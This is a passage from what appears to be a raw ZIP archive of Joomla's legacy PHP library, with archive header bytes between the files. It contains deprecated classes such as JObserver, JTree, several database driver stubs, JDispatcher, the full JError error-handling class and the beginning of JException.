				if (is_array($check) && $check['event'] ==
$observer['event'] && $check['handler'] ==
$observer['handler'])
				{
					return;
				}
			}

			$this->_observers[] = $observer;
			end($this->_observers);
			$methods = array($observer['event']);
		}
		else
		{
			if (!($observer instanceof JObserver))
			{
				return;
			}

			// Make sure we haven't already attached this object as an observer
			$class = get_class($observer);

			foreach ($this->_observers as $check)
			{
				if ($check instanceof $class)
				{
					return;
				}
			}

			$this->_observers[] = $observer;
			$methods = array_diff(get_class_methods($observer),
get_class_methods('JPlugin'));
		}

		$key = key($this->_observers);

		foreach ($methods as $method)
		{
			$method = strtolower($method);

			if (!isset($this->_methods[$method]))
			{
				$this->_methods[$method] = array();
			}

			$this->_methods[$method][] = $key;
		}
	}

	/**
	 * Detach an observer object
	 *
	 * @param   object  $observer  An observer object to detach.
	 *
	 * @return  boolean  True if the observer object was detached.
	 *
	 * @since   1.5
	 * @deprecated  2.5
	 */
	public function detach($observer)
	{
		$retval = false;

		$key = array_search($observer, $this->_observers);

		if ($key !== false)
		{
			unset($this->_observers[$key]);
			$retval = true;

			foreach ($this->_methods as &$method)
			{
				$k = array_search($key, $method);

				if ($k !== false)
				{
					unset($method[$k]);
				}
			}
		}

		return $retval;
	}
}
PK�}�[w��ppbase/observer.phpnu�[���<?php
/**
 * @package     Joomla.Legacy
 * @subpackage  Base
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('JPATH_PLATFORM') or die;

/**
 * Abstract observer class to implement the observer design pattern
 *
 * @since       1.5
 * @deprecated  2.5
 */
abstract class JObserver extends JObject
{
	/**
	 * Event object to observe.
	 *
	 * @var    object
	 * @since  1.5
	 * @deprecated  2.5
	 */
	protected $_subject = null;

	/**
	 * Constructor
	 *
	 * @param   object  &$subject  The object to observe.
	 *
	 * @since   1.5
	 * @deprecated  2.5
	 */
	public function __construct(&$subject)
	{
		// Register the observer ($this) so we can be notified
		$subject->attach($this);

		// Set the subject to observe
		$this->_subject = &$subject;
	}

	/**
	 * Method to update the state of observable objects
	 *
	 * @param   array  &$args  An array of arguments to pass to the
listener.
	 *
	 * @return  mixed
	 *
	 * @since   1.5
	 * @deprecated  2.5
	 */
	abstract public function update(&$args);
}
PK�}�[{�33
base/tree.phpnu�[���<?php
/**
 * @package     Joomla.Legacy
 * @subpackage  Base
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('JPATH_PLATFORM') or die;

/**
 * Tree Class.
 *
 * @since       1.5
 * @deprecated  3.0
 */
class JTree extends JObject
{
	/**
	 * Root node
	 *
	 * @var    JNode
	 * @since  1.5
	 * @deprecated  3.0
	 */
	protected $_root = null;

	/**
	 * Current working node
	 *
	 * @var    JNode
	 * @since  1.5
	 * @deprecated  3.0
	 */
	protected $_current = null;

	/**
	 * Constructor
	 *
	 * @since   1.5
	 * @deprecated  3.0
	 */
	public function __construct()
	{
		JLog::add('JTree::__construct() is deprecated.', JLog::WARNING,
'deprecated');

		$this->_root = new JNode('ROOT');
		$this->_current = & $this->_root;
	}

	/**
	 * Method to add a child
	 *
	 * @param   array    &$node       The node to process
	 * @param   boolean  $setCurrent  True to set as current working node
	 *
	 * @return  void
	 *
	 * @since   1.5
	 * @deprecated  3.0
	 */
	public function addChild(&$node, $setCurrent = false)
	{
		JLog::add('JTree::addChild() is deprecated.', JLog::WARNING,
'deprecated');

		$this->_current->addChild($node);

		if ($setCurrent)
		{
			$this->_current = &$node;
		}
	}

	/**
	 * Method to get the parent
	 *
	 * @return  void
	 *
	 * @since   1.5
	 * @deprecated  3.0
	 */
	public function getParent()
	{
		JLog::add('JTree::getParent() is deprecated.', JLog::WARNING,
'deprecated');

		$this->_current = &$this->_current->getParent();
	}

	/**
	 * Method to get the parent
	 *
	 * @return  void
	 *
	 * @since   1.5
	 * @deprecated  3.0
	 */
	public function reset()
	{
		JLog::add('JTree::reset() is deprecated.', JLog::WARNING,
'deprecated');

		$this->_current = &$this->_root;
	}
}
PK�}�[�诅$$database/exception.phpnu�[���<?php
/**
 * @package     Joomla.Legacy
 * @subpackage  Database
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('JPATH_PLATFORM') or die;

JLog::add('JDatabaseException is deprecated, use SPL Exceptions
instead.', JLog::WARNING, 'deprecated');

/**
 * Exception class definition for the Database subpackage.
 *
 * @since       1.7
 * @deprecated  2.5.5
 */
class JDatabaseException extends RuntimeException
{
}
PK�}�[>c��NNdatabase/mysql.phpnu�[���<?php
/**
 * @package     Joomla.Legacy
 * @subpackage  Database
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('JPATH_PLATFORM') or die;

JLog::add('JDatabaseMysql is deprecated, use JDatabaseDriverMysql
instead.', JLog::WARNING, 'deprecated');

/**
 * MySQL database driver
 *
 * @link        http://dev.mysql.com/doc/
 * @since       1.5
 * @deprecated  3.0 Use JDatabaseDriverMysql instead.
 */
class JDatabaseMysql extends JDatabaseDriverMysql
{
}
PK�}�[6Q�hhdatabase/mysqli.phpnu�[���<?php
/**
 * @package     Joomla.Legacy
 * @subpackage  Database
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('JPATH_PLATFORM') or die;

JLog::add('JDatabaseMysqli is deprecated, use JDatabaseDriverMysqli
instead.', JLog::WARNING, 'deprecated');

/**
 * MySQLi database driver
 *
 * @link        https://www.php.net/manual/en/book.mysqli.php
 * @since       1.5
 * @deprecated  3.0 Use JDatabaseDriverMysqli instead.
 */
class JDatabaseMysqli extends JDatabaseDriverMysqli
{
}
PK�}�[�}{��database/sqlazure.phpnu�[���<?php
/**
 * @package     Joomla.Legacy
 * @subpackage  Database
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('JPATH_PLATFORM') or die;

JLog::add('JDatabaseSqlazure is deprecated, use
JDatabaseDriverSqlazure instead.', JLog::WARNING,
'deprecated');

/**
 * SQL Server database driver
 *
 * @link       
https://azure.microsoft.com/en-us/documentation/services/sql-database/
 * @since       1.7
 * @deprecated  3.0 Use JDatabaseDriverSqlazure instead.
 */
class JDatabaseSqlazure extends JDatabaseDriverSqlazure
{
}
PK�}�[Q��?}}database/sqlsrv.phpnu�[���<?php
/**
 * @package     Joomla.Legacy
 * @subpackage  Database
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('JPATH_PLATFORM') or die;

JLog::add('JDatabaseSqlsrv is deprecated, use JDatabaseDriverSqlsrv
instead.', JLog::WARNING, 'deprecated');

/**
 * SQL Server database driver
 *
 * @link       
https://msdn.microsoft.com/en-us/library/cc296152(SQL.90).aspx
 * @since       1.7
 * @deprecated  3.0 Use JDatabaseDriverSqlsrv instead.
 */
class JDatabaseSqlsrv extends JDatabaseDriverSqlsrv
{
}
PK�}�[�w�0��dispatcher/dispatcher.phpnu�[���<?php
/**
 * @package     Joomla.Legacy
 * @subpackage  Dispatcher
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('JPATH_PLATFORM') or die;

/**
 * Deprecated class placeholder.  You should use JEventDispatcher instead.
 *
 * @since       1.5
 * @deprecated  3.0
 */
class JDispatcher extends JEventDispatcher
{
	/**
	 * Constructor.
	 *
	 * @since   1.5
	 */
	public function __construct()
	{
		JLog::add('JDispatcher is deprecated. Use JEventDispatcher
instead.', JLog::WARNING, 'deprecated');
		parent::__construct();
	}
}
PK�}�[�6h5�V�Verror/error.phpnu�[���<?php
/**
 * @package     Joomla.Legacy
 * @subpackage  Error
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('JPATH_PLATFORM') or die;

/**
 * Error Definition: Illegal Options
 *
 * @var    integer
 * @since  1.5
 * @deprecated  4.0
 */
const JERROR_ILLEGAL_OPTIONS = 1;

/**
 * Error Definition: Callback does not exist
 *
 * @var    integer
 * @since  1.5
 * @deprecated  4.0
 */
const JERROR_CALLBACK_NOT_CALLABLE = 2;

/**
 * Error Definition: Illegal Handler
 *
 * @var    integer
 * @since  1.5
 * @deprecated  4.0
 */
const JERROR_ILLEGAL_MODE = 3;

/**
 * Error Handling Class
 *
 * This class is inspired in design and concept by patErrorManager
<http://www.php-tools.net>
 *
 * patErrorManager contributors include:
 * - gERD Schaufelberger	<gerd@php-tools.net>
 * - Sebastian Mordziol	<argh@php-tools.net>
 * - Stephan Schmidt		<scst@php-tools.net>
 *
 * @since       1.5
 * @deprecated  4.0 Will be removed without replacement
 */
abstract class JError
{
	/**
	 * Legacy error handling marker
	 *
	 * @var    boolean  True to enable legacy error handling using JError,
false to use exception handling.  This flag
	 *                  is present to allow an easy transition into exception
handling for code written against the
	 *                  existing JError API in Joomla.
	 * @since  1.7
	 * @deprecated  4.0
	 */
	public static $legacy = false;

	/**
	 * Array of message levels
	 *
	 * @var    array
	 * @since  1.6
	 * @deprecated  4.0
	 */
	protected static $levels = array(E_NOTICE => 'Notice',
E_WARNING => 'Warning', E_ERROR => 'Error');

	/**
	 * Array of message handlers
	 *
	 * @var    array
	 * @since  1.6
	 * @deprecated  4.0
	 */
	protected static $handlers = array(
		E_NOTICE => array('mode' => 'ignore'),
		E_WARNING => array('mode' => 'ignore'),
		E_ERROR => array('mode' => 'ignore'),
	);

	/**
	 * Array containing the error stack
	 *
	 * @var    JException[]
	 * @since  1.6
	 * @deprecated  4.0
	 */
	protected static $stack = array();

	/**
	 * Method to determine if a value is an exception object.
	 *
	 * @param   mixed  $object  Object to check.
	 *
	 * @return  boolean  True if argument is an exception, false otherwise.
	 *
	 * @since   1.5
	 * @deprecated  4.0
	 */
	public static function isError($object)
	{
		JLog::add('JError::isError() is deprecated.', JLog::WARNING,
'deprecated');

		return $object instanceof Exception;
	}

	/**
	 * Method for retrieving the last exception object in the error stack
	 *
	 * @param   boolean  $unset  True to remove the error from the stack.
	 *
	 * @return  JException|boolean  Last JException object in the error stack
or boolean false if none exist
	 *
	 * @since   1.5
	 * @deprecated  4.0
	 */
	public static function getError($unset = false)
	{
		JLog::add('JError::getError() is deprecated.', JLog::WARNING,
'deprecated');

		if (!isset(self::$stack[0]))
		{
			return false;
		}

		if ($unset)
		{
			$error = array_shift(self::$stack);
		}
		else
		{
			$error = &self::$stack[0];
		}

		return $error;
	}

	/**
	 * Method for retrieving the exception stack
	 *
	 * @return  JException[]  Chronological array of errors that have been
stored during script execution
	 *
	 * @since   1.5
	 * @deprecated  4.0
	 */
	public static function getErrors()
	{
		JLog::add('JError::getErrors() is deprecated.', JLog::WARNING,
'deprecated');

		return self::$stack;
	}

	/**
	 * Method to add non-JError thrown JExceptions to the JError stack for
debugging purposes
	 *
	 * @param   JException  $e  Add an exception to the stack.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 * @deprecated  4.0
	 */
	public static function addToStack(JException $e)
	{
		JLog::add('JError::addToStack() is deprecated.', JLog::WARNING,
'deprecated');

		self::$stack[] = &$e;
	}

	/**
	 * Create a new JException object given the passed arguments
	 *
	 * @param   integer  $level      The error level - use any of PHP's
own error levels for
	 *                               this: E_ERROR, E_WARNING, E_NOTICE,
E_USER_ERROR,
	 *                               E_USER_WARNING, E_USER_NOTICE.
	 * @param   string   $code       The application-internal error code for
this error
	 * @param   string   $msg        The error message, which may also be
shown the user if need be.
	 * @param   mixed    $info       Optional: Additional error information
(usually only
	 *                               developer-relevant information that the
user should never see,
	 *                               like a database DSN).
	 * @param   boolean  $backtrace  Add a stack backtrace to the exception.
	 *
	 * @return  JException
	 *
	 * @since   1.5
	 * @deprecated  4.0
	 * @see         JException
	 */
	public static function raise($level, $code, $msg, $info = null, $backtrace
= false)
	{
		JLog::add('JError::raise() is deprecated.', JLog::WARNING,
'deprecated');

		// Build error object
		$exception = new JException($msg, $code, $level, $info, $backtrace);

		return self::throwError($exception);
	}

	/**
	 * Throw an error
	 *
	 * @param   JException  &$exception  An exception to throw.
	 *
	 * @return  JException  A reference to the handled JException object
	 *
	 * @since   1.6
	 * @deprecated  4.0 Just throw an Exception
	 * @see     JException
	 */
	public static function throwError(&$exception)
	{
		JLog::add('JError::throwError() is deprecated.', JLog::WARNING,
'deprecated');

		static $thrown = false;

		// If thrown is hit again, we've come back to JError in the middle
of throwing another JError, so die!
		if ($thrown)
		{
			self::handleEcho($exception, array());

			// Inifite loop.
			jexit();
		}

		$thrown = true;
		$level = $exception->get('level');

		// See what to do with this kind of error
		$handler = self::getErrorHandling($level);

		$function = 'handle' . ucfirst($handler['mode']);

		if (is_callable(array('JError', $function)))
		{
			$reference = call_user_func_array(array('JError', $function),
array(&$exception, isset($handler['options']) ?
$handler['options'] : array()));
		}
		else
		{
			// This is required to prevent a very unhelpful white-screen-of-death
			jexit(
				'JError::raise -> Static method JError::' . $function .
' does not exist. Contact a developer to debug' .
				'<br /><strong>Error was</strong> <br
/>' . $exception->getMessage()
			);
		}
		// We don't need to store the error, since JException already does
that for us!
		// Remove loop check
		$thrown = false;

		return $reference;
	}

	/**
	 * Wrapper method for the raise() method with predefined error level of
E_ERROR and backtrace set to true.
	 *
	 * @param   string  $code  The application-internal error code for this
error
	 * @param   string  $msg   The error message, which may also be shown the
user if need be.
	 * @param   mixed   $info  Optional: Additional error information (usually
only
	 *                         developer-relevant information that the user
should
	 *                         never see, like a database DSN).
	 *
	 * @return  JException  $error  The thrown JException object
	 *
	 * @since   1.5
	 * @deprecated  4.0 Just throw an Exception
	 * @see     JError::raise()
	 */
	public static function raiseError($code, $msg, $info = null)
	{
		JLog::add('JError::raiseError() is deprecated.', JLog::WARNING,
'deprecated');

		return self::raise(E_ERROR, $code, $msg, $info, true);
	}

	/**
	 * Wrapper method for the {@link raise()} method with predefined error
level of E_WARNING and backtrace set to false.
	 *
	 * @param   string  $code  The application-internal error code for this
error
	 * @param   string  $msg   The error message, which may also be shown the
user if need be.
	 * @param   mixed   $info  Optional: Additional error information (usually
only
	 *                         developer-relevant information that
	 *                         the user should never see, like a database
DSN).
	 *
	 * @return  JException  $error  The thrown JException object
	 *
	 * @since   1.5
	 * @deprecated  4.0 Use
\Joomla\CMS\Factory::getApplication()->enqueueMessage($msg,
'warning') when wou want to notify the UI
	 * @see     JError::raise()
	 */
	public static function raiseWarning($code, $msg, $info = null)
	{
		JLog::add('JError::raiseWarning() is deprecated.',
JLog::WARNING, 'deprecated');

		return self::raise(E_WARNING, $code, $msg, $info);
	}

	/**
	 * Wrapper method for the {@link raise()} method with predefined error
level of E_NOTICE and backtrace set to false.
	 *
	 * @param   string  $code  The application-internal error code for this
error
	 * @param   string  $msg   The error message, which may also be shown the
user if need be.
	 * @param   mixed   $info  Optional: Additional error information (usually
only
	 *                         developer-relevant information that the user
	 *                         should never see, like a database DSN).
	 *
	 * @return  JException  $error  The thrown JException object
	 *
	 * @since   1.5
	 * @deprecated  4.0 Use
\Joomla\CMS\Factory::getApplication()->enqueueMessage($msg,
'notice') when wou want to notify the UI
	 * @see     JError::raise()
	 */
	public static function raiseNotice($code, $msg, $info = null)
	{
		JLog::add('JError::raiseNotice() is deprecated.',
JLog::WARNING, 'deprecated');

		return self::raise(E_NOTICE, $code, $msg, $info);
	}

	/**
	 * Method to get the current error handler settings for a specified error
level.
	 *
	 * @param   integer  $level  The error level to retrieve. This can be any
of PHP's
	 *                           own error levels, e.g. E_ALL, E_NOTICE...
	 *
	 * @return  array    All error handling details
	 *
	 * @since   1.5
	 * @deprecated  4.0
	 */
	public static function getErrorHandling($level)
	{
		JLog::add('JError::getErrorHandling() is deprecated.',
JLog::WARNING, 'deprecated');

		return self::$handlers[$level];
	}

	/**
	 * Method to set the way the JError will handle different error levels.
Use this if you want to override the default settings.
	 *
	 * Error handling modes:
	 * - ignore
	 * - echo
	 * - verbose
	 * - die
	 * - message
	 * - log
	 * - callback
	 *
	 * You may also set the error handling for several modes at once using
PHP's bit operations.
	 * Examples:
	 * - E_ALL = Set the handling for all levels
	 * - E_ERROR | E_WARNING = Set the handling for errors and warnings
	 * - E_ALL ^ E_ERROR = Set the handling for all levels except errors
	 *
	 * @param   integer  $level    The error level for which to set the error
handling
	 * @param   string   $mode     The mode to use for the error handling.
	 * @param   mixed    $options  Optional: Any options needed for the given
mode.
	 *
	 * @return  boolean|JException  True on success or a JException object if
failed.
	 *
	 * @since   1.5
	 * @deprecated  4.0
	 */
	public static function setErrorHandling($level, $mode, $options = null)
	{
		JLog::add('JError::setErrorHandling() is deprecated.',
JLog::WARNING, 'deprecated');

		$levels = self::$levels;

		$function = 'handle' . ucfirst($mode);

		if (!is_callable(array('JError', $function)))
		{
			return self::raiseError(E_ERROR, 'JError:' .
JERROR_ILLEGAL_MODE, 'Error Handling mode is not known',
'Mode: ' . $mode . ' is not implemented.');
		}

		foreach ($levels as $eLevel => $eTitle)
		{
			if (($level & $eLevel) !== $eLevel)
			{
				continue;
			}

			// Set callback options
			if ($mode === 'callback')
			{
				if (!is_array($options))
				{
					return self::raiseError(E_ERROR, 'JError:' .
JERROR_ILLEGAL_OPTIONS, 'Options for callback not valid');
				}

				if (!is_callable($options))
				{
					$tmp = array('GLOBAL');

					if (is_array($options))
					{
						$tmp[0] = $options[0];
						$tmp[1] = $options[1];
					}
					else
					{
						$tmp[1] = $options;
					}

					return self::raiseError(
						E_ERROR,
						'JError:' . JERROR_CALLBACK_NOT_CALLABLE,
						'Function is not callable',
						'Function:' . $tmp[1] . ' scope ' . $tmp[0] .
'.'
					);
				}
			}

			// Save settings
			self::$handlers[$eLevel] = array('mode' => $mode);

			if ($options != null)
			{
				self::$handlers[$eLevel]['options'] = $options;
			}
		}

		return true;
	}

	/**
	 * Method that attaches the error handler to JError
	 *
	 * @return  void
	 *
	 * @since   1.5
	 * @deprecated  4.0
	 * @see     set_error_handler
	 */
	public static function attachHandler()
	{
		JLog::add('JError::getErrorHandling() is deprecated.',
JLog::WARNING, 'deprecated');

		set_error_handler(array('JError',
'customErrorHandler'));
	}

	/**
	 * Method that detaches the error handler from JError
	 *
	 * @return  void
	 *
	 * @since   1.5
	 * @deprecated  4.0
	 * @see     restore_error_handler
	 */
	public static function detachHandler()
	{
		JLog::add('JError::detachHandler() is deprecated.',
JLog::WARNING, 'deprecated');

		restore_error_handler();
	}

	/**
	 * Method to register a new error level for handling errors
	 *
	 * This allows you to add custom error levels to the built-in
	 * - E_NOTICE
	 * - E_WARNING
	 * - E_NOTICE
	 *
	 * @param   integer  $level    Error level to register
	 * @param   string   $name     Human readable name for the error level
	 * @param   string   $handler  Error handler to set for the new error
level [optional]
	 *
	 * @return  boolean  True on success; false if the level already has been
registered
	 *
	 * @since   1.5
	 * @deprecated  4.0
	 */
	public static function registerErrorLevel($level, $name, $handler =
'ignore')
	{
		JLog::add('JError::registerErrorLevel() is deprecated.',
JLog::WARNING, 'deprecated');

		if (isset(self::$levels[$level]))
		{
			return false;
		}

		self::$levels[$level] = $name;
		self::setErrorHandling($level, $handler);

		return true;
	}

	/**
	 * Translate an error level integer to a human readable string
	 * e.g. E_ERROR will be translated to 'Error'
	 *
	 * @param   integer  $level  Error level to translate
	 *
	 * @return  string|boolean  Human readable error level name or boolean
false if it doesn't exist
	 *
	 * @since   1.5
	 * @deprecated  4.0
	 */
	public static function translateErrorLevel($level)
	{
		JLog::add('JError::translateErrorLevel() is deprecated.',
JLog::WARNING, 'deprecated');

		if (isset(self::$levels[$level]))
		{
			return self::$levels[$level];
		}

		return false;
	}

	/**
	 * Ignore error handler
	 * - Ignores the error
	 *
	 * @param   JException  &$error   Exception object to handle
	 * @param   array       $options  Handler options
	 *
	 * @return  JException   The exception object
	 *
	 * @since   1.5
	 * @deprecated  4.0
	 * @see     JError::raise()
	 */
	public static function handleIgnore(&$error, $options)
	{
		JLog::add('JError::handleIgnore() is deprecated.',
JLog::WARNING, 'deprecated');

		return $error;
	}

	/**
	 * Echo error handler
	 * - Echos the error message to output
	 *
	 * @param   JException  &$error   Exception object to handle
	 * @param   array       $options  Handler options
	 *
	 * @return  JException  The exception object
	 *
	 * @since   1.5
	 * @deprecated  4.0
	 * @see    JError::raise()
	 */
	public static function handleEcho(&$error, $options)
	{
		JLog::add('JError::handleEcho() is deprecated.', JLog::WARNING,
'deprecated');

		$level_human =
self::translateErrorLevel($error->get('level'));

		// If system debug is set, then output some more information.
		if (JDEBUG)
		{
			$backtrace = $error->getTrace();
			$trace = '';

			for ($i = count($backtrace) - 1; $i >= 0; $i--)
			{
				if (isset($backtrace[$i]['class']))
				{
					$trace .= sprintf("\n%s %s %s()",
$backtrace[$i]['class'], $backtrace[$i]['type'],
$backtrace[$i]['function']);
				}
				else
				{
					$trace .= sprintf("\n%s()",
$backtrace[$i]['function']);
				}

				if (isset($backtrace[$i]['file']))
				{
					$trace .= sprintf(' @ %s:%d',
$backtrace[$i]['file'], $backtrace[$i]['line']);
				}
			}
		}

		if (isset($_SERVER['HTTP_HOST']))
		{
			// Output as html
			echo "<br /><b>jos-$level_human</b>: "
				. $error->get('message') . "<br />\n"
				. (JDEBUG ? nl2br($trace) : '');
		}
		else
		{
			// Output as simple text
			if (defined('STDERR'))
			{
				fwrite(STDERR, "J$level_human: " .
$error->get('message') . "\n");

				if (JDEBUG)
				{
					fwrite(STDERR, $trace);
				}
			}
			else
			{
				echo "J$level_human: " . $error->get('message')
. "\n";

				if (JDEBUG)
				{
					echo $trace;
				}
			}
		}

		return $error;
	}

	/**
	 * Verbose error handler
	 * - Echos the error message to output as well as related info
	 *
	 * @param   JException  &$error   Exception object to handle
	 * @param   array       $options  Handler options
	 *
	 * @return  JException  The exception object
	 *
	 * @since   1.5
	 * @deprecated  4.0
	 * @see    JError::raise()
	 */
	public static function handleVerbose(&$error, $options)
	{
		JLog::add('JError::handleVerbose() is deprecated.',
JLog::WARNING, 'deprecated');

		$level_human =
self::translateErrorLevel($error->get('level'));
		$info = $error->get('info');

		if (isset($_SERVER['HTTP_HOST']))
		{
			// Output as html
			echo "<br /><b>J$level_human</b>: " .
$error->get('message') . "<br />\n";

			if ($info != null)
			{
				echo '&#160;&#160;&#160;' . $info . "<br
/>\n";
			}

			echo $error->getBacktrace(true);
		}
		else
		{
			// Output as simple text
			echo "J$level_human: " . $error->get('message') .
"\n";

			if ($info != null)
			{
				echo "\t" . $info . "\n";
			}
		}

		return $error;
	}

	/**
	 * Die error handler
	 * - Echos the error message to output and then dies
	 *
	 * @param   JException  &$error   Exception object to handle
	 * @param   array       $options  Handler options
	 *
	 * @return  void  Calls die()
	 *
	 * @since   1.5
	 * @deprecated  4.0
	 * @see    JError::raise()
	 */
	public static function handleDie(&$error, $options)
	{
		JLog::add('JError::handleDie() is deprecated.', JLog::WARNING,
'deprecated');

		$level_human =
self::translateErrorLevel($error->get('level'));

		if (isset($_SERVER['HTTP_HOST']))
		{
			// Output as html
			jexit("<br /><b>J$level_human</b>: " .
$error->get('message') . "<br />\n");
		}
		else
		{
			// Output as simple text
			if (defined('STDERR'))
			{
				fwrite(STDERR, "J$level_human: " .
$error->get('message') . "\n");
				jexit();
			}
			else
			{
				jexit("J$level_human: " . $error->get('message')
. "\n");
			}
		}

		return $error;
	}

	/**
	 * Message error handler
	 * Enqueues the error message into the system queue
	 *
	 * @param   JException  &$error   Exception object to handle
	 * @param   array       $options  Handler options
	 *
	 * @return  JException  The exception object
	 *
	 * @since   1.5
	 * @deprecated  4.0
	 * @see    JError::raise()
	 */
	public static function handleMessage(&$error, $options)
	{
		JLog::add('JError::hanleMessage() is deprecated.',
JLog::WARNING, 'deprecated');

		$appl = JFactory::getApplication();
		$type = ($error->get('level') == E_NOTICE) ?
'notice' : 'error';
		$appl->enqueueMessage($error->get('message'), $type);

		return $error;
	}

	/**
	 * Log error handler
	 * Logs the error message to a system log file
	 *
	 * @param   JException  &$error   Exception object to handle
	 * @param   array       $options  Handler options
	 *
	 * @return  JException  The exception object
	 *
	 * @since   1.5
	 * @deprecated  4.0
	 * @see    JError::raise()
	 */
	public static function handleLog(&$error, $options)
	{
		JLog::add('JError::handleLog() is deprecated.', JLog::WARNING,
'deprecated');

		static $log;

		if ($log == null)
		{
			$options['text_file'] = date('Y-m-d') .
'.error.log';
			$options['format'] =
"{DATE}\t{TIME}\t{LEVEL}\t{CODE}\t{MESSAGE}";
			JLog::addLogger($options, JLog::ALL, array('error'));
		}

		$entry = new JLogEntry(
			str_replace(array("\r", "\n"), array('',
'\\n'), $error->get('message')),
			$error->get('level'),
			'error'
		);
		$entry->code = $error->get('code');
		JLog::add($entry);

		return $error;
	}

	/**
	 * Callback error handler
	 * - Send the error object to a callback method for error handling
	 *
	 * @param   JException  &$error   Exception object to handle
	 * @param   array       $options  Handler options
	 *
	 * @return  JException  The exception object
	 *
	 * @since   1.5
	 * @deprecated  4.0
	 * @see    JError::raise()
	 */
	public static function handleCallback(&$error, $options)
	{
		JLog::add('JError::handleCallback() is deprecated.',
JLog::WARNING, 'deprecated');

		return call_user_func_array($options, array(&$error));
	}

	/**
	 * Display a custom error page and exit gracefully
	 *
	 * @param   JException  $error  Exception object
	 *
	 * @return  void
	 *
	 * @since   1.5
	 * @deprecated  4.0 Use \Joomla\CMS\Exception\ExceptionHandler::render()
instead
	 */
	public static function customErrorPage($error)
	{
		JLog::add('JError::customErrorPage() is deprecated, use
JErrorPage::render() instead.', JLog::WARNING,
'deprecated');

		\Joomla\CMS\Exception\ExceptionHandler::render($error);
	}

	/**
	 * Display a message to the user
	 *
	 * @param   integer  $level  The error level - use any of PHP's own
error levels
	 *                   for this: E_ERROR, E_WARNING, E_NOTICE, E_USER_ERROR,
	 *                   E_USER_WARNING, E_USER_NOTICE.
	 * @param   string   $msg    Error message, shown to user if need be.
	 *
	 * @return  void
	 *
	 * @since   1.5
	 * @deprecated  4.0 Throw an Exception or enqueue the message to the
application, eg.
\Joomla\CMS\Factory::getApplication()->enqueueMessage($msg)
	 */
	public static function customErrorHandler($level, $msg)
	{
		JLog::add('JError::customErrorHandler() is deprecated.',
JLog::WARNING, 'deprecated');

		self::raise($level, '', $msg);
	}

	/**
	 * Render the backtrace
	 *
	 * @param   Exception  $error  The error
	 *
	 * @return  string  Contents of the backtrace
	 *
	 * @since   1.6
	 * @deprecated  4.0 Use
JLayoutHelper::render('joomla.error.backtrace',
array('backtrace' => $error->getTrace())) instead
	 */
	public static function renderBacktrace($error)
	{
		JLog::add('JError::renderBacktrace() is deprecated.',
JLog::WARNING, 'deprecated');

		return
\Joomla\CMS\Layout\LayoutHelper::render('joomla.error.backtrace',
array('backtrace' => $error->getTrace()));
	}
}
PK�}�[��t�� �
exception/exception.phpnu�[���<?php
/**
 * @package     Joomla.Legacy
 * @subpackage  Exception
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license     GNU General Public License version 2 or later; see
LICENSE.txt
 */

defined('JPATH_PLATFORM') or die;

/**
 * Joomla! Exception object.
 *
 * @since       1.5
 * @deprecated  1.7
 */
class JException extends Exception
{
	/**
	 * Error level.
	 *
	 * @var    string
	 * @since  1.5
	 * @deprecated  1.7
	 */
	protected $level = null;

	/**
	 * Error code.
	 *
	 * @var    string
	 * @since  1.5
	 * @deprecated  1.7
	 */
	protected $code = null;

	/**
	 * Error message.
	 *
	 * @var    string
	 * @since  1.5
	 * @deprecated  1.7
	 */
	protected $message = null;

	/**
	 * Additional info about the error relevant to the developer,
	 * for example, if a database connect fails, the dsn used
	 *
	 * @var    string
	 * @since  1.5
	 * @deprecated  1.7
	 */
	protected $info = '';

	/**
	 * Name of the file the error occurred in [Available if backtrace is
enabled]
	 *
	 * @var    string
	 * @since  1.5
	 * @deprecated  1.7
	 */
	protected $file = null;

	/**
	 * Line number the error occurred in [Available if backtrace is enabled]
	 *
	 * @var    integer
	 * @since  1.5
	 * @deprecated  1.7
	 */
	protected $line = 0;

	/**
	 * Name of the method the error occurred in [Available if backtrace is
enabled]
	 *
	 * @var    string
	 * @since  1.5
	 * @deprecated  1.7
	 */
	protected $function = null;

	/**
	 * Name of the class the error occurred in [Available if backtrace is
enabled]
	 *
	 * @var    string
	 * @since  1.5
	 * @deprecated  1.7
	 */
	protected $class = null;

	/**
	 * @var    string  Error type.
	 * @since  1.5
	 * @deprecated  1.7
	 */
	protected $type = null;

	/**
	 * Arguments received by the method the error occurred in [Available if
backtrace is enabled]
	 *
	 * @var    array
	 * @since  1.5
	 * @deprecated  1.7
	 */
	protected $args = array();

	/**
	 * Backtrace information.
	 *
	 * @var    mixed
	 * @since  1.5
	 * @deprecated  1.7
	 */
	protected $backtrace = null;

	/**
	 * Container holding the error messages
	 *
	 * @var    string[]
	 * @since  1.6
	 * @deprecated  1.7
	 */
	protected $_errors = array();

	/**
	 * Constructor
	 * - used to set up the error with all needed error details.
	 *
	 * @param   string   $msg        The error message
	 * @param   integer  $code       The error code from the application
	 * @param   integer  $level      The error level (use the PHP constants
E_ALL, E_NOTICE etc.).
	 * @param   string   $info       Optional: The additional error
information.
	 * @param   boolean  $backtrace  True if backtrace information is to be
collected
	 *
	 * @since   1.5
	 * @deprecated  1.7
	 */
